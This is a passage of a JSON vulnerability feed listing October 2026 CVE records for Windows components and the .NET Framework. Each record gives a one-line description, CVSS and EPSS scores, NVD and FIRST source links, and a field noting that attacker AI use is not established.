establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85367","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85367","type":"primary","publishedAt":"2026-10-13T19:21:00.170Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85367&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85367, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85366","cveId":"CVE-2026-85366","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:59.990Z","updatedAt":"2026-10-16T16:21:57.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85366","asOf":"2026-10-16T16:21:57.950Z"},"epss":{"probability":0.00319,"percentile":0.24651,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85366&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85366","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85366","type":"primary","publishedAt":"2026-10-13T19:20:59.990Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85366&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85366, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85364","cveId":"CVE-2026-85364","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:59.630Z","updatedAt":"2026-10-16T16:21:57.510Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85364","asOf":"2026-10-16T16:21:57.510Z"},"epss":{"probability":0.00253,"percentile":0.16572,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85364&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85364","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85364","type":"primary","publishedAt":"2026-10-13T19:20:59.630Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85364&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85364, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85363","cveId":"CVE-2026-85363","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in .NET Framework allows an unauthorized attacker to elevate privileges over a network.","summary":"Integer overflow or wraparound in .NET Framework allows an unauthorized attacker to elevate privileges over a network.","detail":"Integer overflow or wraparound in .NET Framework allows an unauthorized attacker to elevate privileges over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:59.480Z","updatedAt":"2026-10-22T22:19:24.017Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85363","asOf":"2026-10-22T22:19:24.017Z"},"epss":{"probability":0.00859,"percentile":0.5822,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85363&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85363","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85363","type":"primary","publishedAt":"2026-10-13T19:20:59.480Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85363&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85363, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85362","cveId":"CVE-2026-85362","aliases":[],"kind":"vulnerability","title":"Release of invalid pointer or reference in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.","summary":"Release of invalid pointer or reference in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.","detail":"Release of invalid pointer or reference in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:59.293Z","updatedAt":"2026-10-16T16:21:57.317Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85362","asOf":"2026-10-16T16:21:57.317Z"},"epss":{"probability":0.00253,"percentile":0.16572,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85362&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85362","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85362","type":"primary","publishedAt":"2026-10-13T19:20:59.293Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85362&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85362, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85361","cveId":"CVE-2026-85361","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:59.110Z","updatedAt":"2026-10-16T16:21:57.127Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85361","asOf":"2026-10-16T16:21:57.127Z"},"epss":{"probability":0.00253,"percentile":0.16573,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85361&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85361","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85361","type":"primary","publishedAt":"2026-10-13T19:20:59.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85361&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85361, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85359","cveId":"CVE-2026-85359","aliases":[],"kind":"vulnerability","title":"Improper control of generation of code ('code injection') in Windows Performance Monitor allows an authorized attacker to elevate privileges locally.","summary":"Improper control of generation of code ('code injection') in Windows Performance Monitor allows an authorized attacker to elevate privileges locally.","detail":"Improper control of generation of code ('code injection') in Windows Performance Monitor allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:58.930Z","updatedAt":"2026-10-16T16:21:56.937Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85359","asOf":"2026-10-16T16:21:56.937Z"},"epss":{"probability":0.00747,"percentile":0.54573,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85359&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85359","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85359","type":"primary","publishedAt":"2026-10-13T19:20:58.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85359&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85359, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85358","cveId":"CVE-2026-85358","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:58.670Z","updatedAt":"2026-10-16T16:21:56.727Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85358","asOf":"2026-10-16T16:21:56.727Z"},"epss":{"probability":0.00319,"percentile":0.24651,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85358&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85358","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85358","type":"primary","publishedAt":"2026-10-13T19:20:58.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85358&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85358, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85357","cveId":"CVE-2026-85357","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Phone Service allows an authorized attacker to elevate privileges locally.","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Phone Service allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Phone Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:58.480Z","updatedAt":"2026-10-13T21:19:15.790Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85357","asOf":"2026-10-13T21:19:15.790Z"},"epss":{"probability":0.00194,"percentile":0.08971,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85357&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85357","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85357","type":"primary","publishedAt":"2026-10-13T19:20:58.480Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85357&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85357, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85356","cveId":"CVE-2026-85356","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Volume Manager Extension Driver allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows Volume Manager Extension Driver allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows Volume Manager Extension Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:58.300Z","updatedAt":"2026-10-16T16:21:56.450Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85356","asOf":"2026-10-16T16:21:56.450Z"},"epss":{"probability":0.00319,"percentile":0.24651,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85356&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85356","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85356","type":"primary","publishedAt":"2026-10-13T19:20:58.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85356&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85356, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85355","cveId":"CVE-2026-85355","aliases":[],"kind":"vulnerability","title":"Inclusion of functionality from untrusted control sphere in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.","summary":"Inclusion of functionality from untrusted control sphere in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.","detail":"Inclusion of functionality from untrusted control sphere in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:58.117Z","updatedAt":"2026-10-16T16:21:56.247Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85355","asOf":"2026-10-16T16:21:56.247Z"},"epss":{"probability":0.00288,"percentile":0.2113,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85355&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85355","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85355","type":"primary","publishedAt":"2026-10-13T19:20:58.117Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85355&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85355, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85354","cveId":"CVE-2026-85354","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:57.940Z","updatedAt":"2026-10-16T16:21:56.043Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85354","asOf":"2026-10-16T16:21:56.043Z"},"epss":{"probability":0.00253,"percentile":0.16572,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85354&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85354","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85354","type":"primary","publishedAt":"2026-10-13T19:20:57.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85354&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85354, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85353","cveId":"CVE-2026-85353","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Print Spooler Components allows an unauthorized attacker to disclose information over a network.","summary":"Out-of-bounds read in Windows Print Spooler Components allows an unauthorized attacker to disclose information over a network.","detail":"Out-of-bounds read in Windows Print Spooler Components allows an unauthorized attacker to disclose information over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:57.760Z","updatedAt":"2026-10-16T16:21:55.847Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85353","asOf":"2026-10-16T16:21:55.847Z"},"epss":{"probability":0.01005,"percentile":0.62725,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85353&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85353","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85353","type":"primary","publishedAt":"2026-10-13T19:20:57.760Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85353&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85353, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85352","cveId":"CVE-2026-85352","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 